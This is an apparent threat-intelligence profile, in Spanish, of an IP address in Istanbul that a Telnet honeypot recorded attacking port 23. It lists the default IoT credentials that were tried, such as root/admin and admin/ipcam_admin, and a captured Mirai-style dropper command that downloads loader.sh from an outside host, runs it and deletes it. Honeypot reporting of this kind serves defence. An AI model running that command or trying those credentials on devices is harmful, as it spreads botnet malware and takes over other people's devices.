TROYANOSYVIRUS
Amenaza ActivaMEDIO

185.123.100.209

Pais de Origen🇹🇷 Turquia
Primera Deteccion18/4/2026
Ultima Actividad18/4/2026
ISPIksir Internet Hizmetleri A.S.
🎯
751
Ataques Totales
🔌
1
Puertos
📡
1
Tipos Ataque
🦠
3
Malware

Geolocalizacion

Pais
🇹🇷 Turquia
Ciudad
Istanbul
ASN
AS206991
ISP
Iksir Internet Hizmetleri A.S.

Tipos de Ataque

ssh_telnet_honeypot

Puertos Atacados

23

Malware Asociado

Credenciales Intentadas

🔐root/admin
29x
🔐root/(vacio)
26x
🔐root/password
26x
🔐root/root
25x
🔐root/12345
6x
🔐admin/smcadmin
2x
🔐root/jvbzd
2x
🔐admin/1234
2x
🔐admin/admin1234
2x
🔐root/hi3516
2x
🔐admin/meinsm
2x
🔐admin/ipcam_admin
2x
🔐root/Zte521
2x
🔐root/OxhlwSG8
2x
🔐telnet/telnet
2x

Comandos Ejecutados

$echo mirai28x
$cd /tmp || cd /run || cd /var/run || cd /dev/shm; wget https://tg-xxooxx888.8964.mom/loader.sh -O .x 2>/dev/null || curl -s https://tg-xxooxx888.8964.mom/loader.sh -o .x; chmod 777 .x; ./.x telnet; rm -f .x27x

Exposicion segun Shodan InternetDBShodan

Datos de InternetDB, actualizacion no en tiempo real

Evaluacion de Riesgo

50
/100
BajoMedioAltoCritico